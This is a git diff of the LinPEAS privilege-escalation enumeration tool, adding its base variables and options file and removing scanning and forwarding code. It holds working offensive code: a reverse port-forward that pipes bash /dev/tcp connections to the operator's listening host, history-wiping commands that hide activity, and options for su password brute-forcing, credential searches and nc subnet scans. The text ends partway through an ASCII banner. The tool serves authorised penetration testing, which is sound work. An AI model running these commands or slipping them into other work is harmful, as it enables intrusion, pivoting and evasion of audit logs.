|| [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then - printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC; - if [ "$IP" = "$NETMASK" ]; then - printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i [-p ]\n\n"$NC; - fi - printf ${BLUE}"$HELP"$NC; - exit 0 - fi - - PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')" - PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) # Delete repetitions - - if [ "$NETMASK" -eq "24" ]; then - printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC - tcp_recon "$IP" "$PORTS" - - elif [ "$NETMASK" -eq "16" ]; then - printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC - for i in $(seq 0 255) - do - NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 - tcp_recon "$NEWIP" "$PORTS" - done - else - printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC; - exit 0 - fi -} - - -port_forward (){ - LOCAL_IP=$1 - LOCAL_PORT=$2 - REMOTE_IP=$3 - REMOTE_PORT=$4 - - echo "In your machine execute:" - echo "cd /tmp; rm backpipe; mknod backpipe p;" - echo "nc -lvnp $LOCAL_PORT 0backpipe" - echo "" - read -p "Press any key when you have executed those commands" useless_var - - bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" - echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" -} - - -########################################### -#---) Exporting history env variables (---# -########################################### - -unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH -export HISTFILE=/dev/null -export HISTSIZE=0 -export HISTFILESIZE=0 - - - -########################################### -#-----------) Some Basic Info (-----------# -########################################### - -print_title "Basic information" -printf $LG"OS: "$NC -(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," -printf $LG"User & Groups: "$NC -(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$idB,${SED_RED},g" -printf $LG"Hostname: "$NC -hostname 2>/dev/null -printf $LG"Writable folder: "$NC; -echo $Wfolder - -if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then - printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; -fi - -if [ "$DISCOVER_BAN_GOOD" ]; then - printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" -else - printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" -fi - -if [ "$SCAN_BAN_GOOD" ]; then - printf "$SCAN_BAN_GOOD\n$NC" -else - printf $RED"[-] $SCAN_BAN_BAD\n$NC" -fi -if [ "$(command -v nmap 2>/dev/null)" ];then - NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" - printf $YELLOW"[+] $NMAP_GOOD\n$NC" -fi -echo "" -echo "" - -########################################### -#--------) Check if network jobs (--------# -########################################### -if [ "$PORTS" ]; then - if [ "$SCAN_BAN_GOOD" ]; then - if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then - printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; - printf ${BLUE}"$HELP"$NC; - exit 0 - else - # Select the correct configuration of the netcat found - select_nc - fi - else - printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; - printf ${BLUE}"$HELP"$NC; - exit 0 - fi -fi - -if [ "$DISCOVERY" ]; then - if [ "$PORTS" ]; then - discovery_port_scan $DISCOVERY $PORTS - else - if [ "$DISCOVER_BAN_GOOD" ]; then - discover_network $DISCOVERY - else - printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC; - fi - fi - exit 0 - -elif [ "$IP" ]; then - select_nc - tcp_port_scan $IP "$PORTS" - exit 0 -fi - -if [ "$PORT_FORWARD" ]; then - if ! [ "$FOUND_BASH" ]; then - printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; - exit 0 - fi - - LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" - LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" - REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" - REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" - - if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then - printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; - exit 0 - fi - - # Check if LOCAL_PORT is a number - if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then - printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; - fi - - # Check if REMOTE_PORT is a number - if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then - printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; - fi - - port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" - exit 0 -fi - - -# Get HOMESEARCH -if [ "$SEARCH_IN_FOLDER" ]; then - HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" -else - HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" - if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder - HOMESEARCH="$HOME $HOMESEARCH" - fi -fi -GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" - - - - -########################################### -#----------) Caching Finds (--------------# -########################################### -if [ "$SEARCH_IN_FOLDER" ]; then - printf $GREEN"Caching directories "$NC - - CONT_THREADS=0 - # FIND ALL KNOWN INTERESTING SOFTWARE FILES - peass{FINDS_CUSTOM} - - wait # Always wait at the end - CONT_THREADS=0 #Reset the threads counter - -elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then - - printf $GREEN"Caching directories "$NC - - CONT_THREADS=0 - # FIND ALL KNOWN INTERESTING SOFTWARE FILES - peass{FINDS_HERE} - - wait # Always wait at the end - CONT_THREADS=0 #Reset the threads counter -fi - -if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then - # GENERATE THE STORAGES OF THE FOUND FILES - peass{STORAGES_HERE} - - ##### POST SEARCH VARIABLES ##### - backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')" - printf ${YELLOW}"DONE\n"$NC - echo "" -fi - - - - - - - - - - - - diff --git a/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh b/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh new file mode 100644 index 0000000..beb48d4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh @@ -0,0 +1,511 @@ +# Title: Variables - variables_base +# ID: BS_variables_base +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Base variables for new Linpeas +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $VERSION, $ADVISORY, $IAMROOT, $MAXPATH_FIND_W, $C, $RED, $SED_RED, $GREEN, $SED_GREEN, $YELLOW, $SED_YELLOW, $RED_YELLOW, $SED_RED_YELLOW, $BLUE, $SED_BLUE, $ITALIC_BLUE, $LIGHT_MAGENTA, $SED_LIGHT_MAGENTA, $LIGHT_CYAN, $SED_LIGHT_CYAN, $LG, $SED_LG, $DG, $SED_DG, $NC, $UNDERLINED, $ITALIC, $MACPEAS, $FAST, $SUPERFAST, $DISCOVERY, $PORTS, $QUIET, $CHECKS, $SEARCH_IN_FOLDER, $ROOT_FOLDER, $WAIT, $PASSWORD, $NOCOLOR, $DEBUG, $AUTO_NETWORK_SCAN, $EXTRA_CHECKS, $REGEXES, $PORT_FORWARD, $E, $PING, $FPING, $DISCOVER_BAN_BAD, $DISCOVER_BAN_GOOD, $SCAN_BAN_GOOD, $NMAP_GOOD, $SCRIPTNAME, $FOUND_BASH, $FOUND_NC, $HOMESEARCH, $GREPHOMESEARCH, $SCAN_BAN_BAD, $HOME, $THREADS, $opt, $HELP, $USER, $TOTAL_T1_TIME, $END_T1_TIME, $START_T1_TIME, $title, $title_len, $max_title_len, $rest_len, $CONT_THREADS, $wgroups, $SEDOVERFLOW, $Wfolders, $Wfolder, $grp, $END_T2_TIME, $TOTAL_T2_TIME, $START_T2_TIME +# Fat linpeas: 0 +# Small linpeas: 1 + + +#!/bin/sh + +VERSION="ng" +ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission." + +########################################### +#-------) Checks pre-everything (---------# +########################################### +if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then + IAMROOT="1" + MAXPATH_FIND_W="3" +else + IAMROOT="" + MAXPATH_FIND_W="7" +fi + + + +########################################### +#---------------) Colors (----------------# +########################################### + +C=$(printf '\033') +RED="${C}[1;31m" +SED_RED="${C}[1;31m&${C}[0m" +GREEN="${C}[1;32m" +SED_GREEN="${C}[1;32m&${C}[0m" +YELLOW="${C}[1;33m" +SED_YELLOW="${C}[1;33m&${C}[0m" +RED_YELLOW="${C}[1;31;103m" +SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" +BLUE="${C}[1;34m" +SED_BLUE="${C}[1;34m&${C}[0m" +ITALIC_BLUE="${C}[1;34m${C}[3m" +LIGHT_MAGENTA="${C}[1;95m" +SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m" +LIGHT_CYAN="${C}[1;96m" +SED_LIGHT_CYAN="${C}[1;96m&${C}[0m" +LG="${C}[1;37m" #LightGray +SED_LG="${C}[1;37m&${C}[0m" +DG="${C}[1;90m" #DarkGray +SED_DG="${C}[1;90m&${C}[0m" +NC="${C}[0m" +UNDERLINED="${C}[5m" +ITALIC="${C}[3m" + + +########################################### +#---------) Parsing parameters (----------# +########################################### +# --) FAST - Do not check 1min of procceses and su brute +# --) SUPERFAST - FAST & do not search for special filaes in all the folders + +if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi +FAST="1" #By default stealth/fast mode +SUPERFAST="" +DISCOVERY="" +PORTS="" +QUIET="" +CHECKS="peass{CHECKS}" +SEARCH_IN_FOLDER="" +ROOT_FOLDER="/" +WAIT="" +PASSWORD="" +NOCOLOR="" +DEBUG="" +AUTO_NETWORK_SCAN="" +EXTRA_CHECKS="" +REGEXES="" +PORT_FORWARD="" +THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" +[ -z "$THREADS" ] && THREADS="2" #If THREADS is empty, put number 2 +[ -n "$THREADS" ] && THREADS="2" #If THREADS is null, put number 2 +[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" #It THREADS is not a number, put number 2 +HELP=$GREEN"Enumerate and search Privilege Escalation vectors. +${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. + ${GREEN} Checks: + ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks. + ${YELLOW} -o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list. + ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) + ${YELLOW} -e${BLUE} Perform extra enumeration + ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) + ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' + ${YELLOW} -D${BLUE} Debug mode + + ${GREEN} Network recon: + ${YELLOW} -t${BLUE} Automatic network scan - This option writes to files + ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 + ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 + $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed + + ${GREEN} Port forwarding (reverse connection): + ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT) + + ${GREEN} Firmware recon: + ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder + + ${GREEN} Misc: + ${YELLOW} -h${BLUE} To show this message + ${YELLOW} -w${BLUE} Wait execution between big blocks of checks + ${YELLOW} -L${BLUE} Force linpeas execution + ${YELLOW} -M${BLUE} Force macpeas execution + ${YELLOW} -q${BLUE} Do not show banner + ${YELLOW} -N${BLUE} Do not use colours$NC" + +while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do + case "$opt" in + h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; + a) FAST="";EXTRA_CHECKS="1";; + s) SUPERFAST=1;; + d) DISCOVERY=$OPTARG;; + p) PORTS=$OPTARG;; + i) IP=$OPTARG;; + P) PASSWORD=$OPTARG;; + q) QUIET=1;; + o) CHECKS=$OPTARG;; + L) MACPEAS="";; + M) MACPEAS="1";; + w) WAIT=1;; + N) NOCOLOR="1";; + D) DEBUG="1";; + t) AUTO_NETWORK_SCAN="1";; + e) EXTRA_CHECKS="1";; + r) REGEXES="1";; + f) SEARCH_IN_FOLDER=$OPTARG; + if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then #Make sure firmware folder ends with "/" + SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; + fi; + ROOT_FOLDER=$SEARCH_IN_FOLDER; + REGEXES="1"; + CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";; + + F) PORT_FORWARD=$OPTARG;; + esac +done + +if [ "$MACPEAS" ]; then SCRIPTNAME="MacPEAS"; else SCRIPTNAME="LinPEAS"; fi +if [ "$NOCOLOR" ]; then + C="" + RED="" + SED_RED="&" + GREEN="" + SED_GREEN="&" + YELLOW="" + SED_YELLOW="&" + SED_RED_YELLOW="&" + BLUE="" + SED_BLUE="&" + ITALIC_BLUE="" + LIGHT_MAGENTA="" + SED_LIGHT_MAGENTA="&" + LIGHT_CYAN="" + SED_LIGHT_CYAN="&" + LG="" + SED_LG="&" + DG="" + SED_DG="&" + NC="" + UNDERLINED="" + ITALIC="" +fi + +# test if sed supports -E or -r +E=E +echo | sed -${E} 's/o/a/' 2>/dev/null +if [ $? -ne 0 ] ; then + echo | sed -r 's/o/a/' 2>/dev/null + if [ $? -eq 0 ] ; then + E=r + else + echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" + fi +fi + +print_title(){ + if [ "$DEBUG" ]; then + END_T1_TIME=$(date +%s 2>/dev/null) + if [ "$START_T1_TIME" ]; then + TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) + printf $DG"This check took $TOTAL_T1_TIME seconds\n"$NC + fi + + END_T1_TIME=$(date +%s 2>/dev/null) + if [ "$START_T1_TIME" ]; then + TOTAL_T1_TIME=$(($END_T1_TIME - $START_T1_TIME)) + printf $DG"The total section execution took $TOTAL_T1_TIME seconds\n"$NC + echo "" + fi + + START_T1_TIME=$(date +%s 2>/dev/null) + fi + + title=$1 + title_len=$(echo $title | wc -c) + max_title_len=80 + rest_len=$((($max_title_len - $title_len) / 2)) + + printf ${BLUE} + for i in $(seq 1 $rest_len); do printf " "; done + printf "╔" + for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; + printf "╗" + + echo "" + + for i in $(seq 1 $rest_len); do printf "═"; done + printf "╣ $GREEN${title}${BLUE} ╠" + for i in $(seq 1 $rest_len); do printf "═"; done + + echo "" + + printf ${BLUE} + for i in $(seq 1 $rest_len); do printf " "; done + printf "╚" + for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; + printf "╝" + + printf $NC + echo "" +} + +print_2title(){ + if [ "$DEBUG" ]; then + END_T2_TIME=$(date +%s 2>/dev/null) + if [ "$START_T2_TIME" ]; then + TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) + printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC + echo "" + fi + + START_T2_TIME=$(date +%s 2>/dev/null) + fi + + printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC #There are 10 "═" +} + +print_3title(){ + printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" +} + +print_3title_no_nl(){ + printf "\033[2K\r" + printf ${BLUE}"══╣ $GREEN${1}..."$NC #There are 2 "═" +} + +eval_bckgrd(){ + eval "$1" & + CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi +} + +print_banner(){ + if [ "$MACPEAS" ]; then + bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m + \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m + \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m + \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m + \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m + \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m + \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m + \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m + \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m + \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m + \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m + 